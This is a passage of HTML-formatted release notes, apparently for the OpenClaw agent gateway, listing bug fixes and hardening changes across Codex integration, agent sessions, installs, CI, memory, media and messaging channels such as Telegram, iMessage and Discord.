data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190592974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59299/hovercard" href="https://github.com/openclaw/openclaw/issues/59299">#59299</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.</p>
</li>
<li>
<p>CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
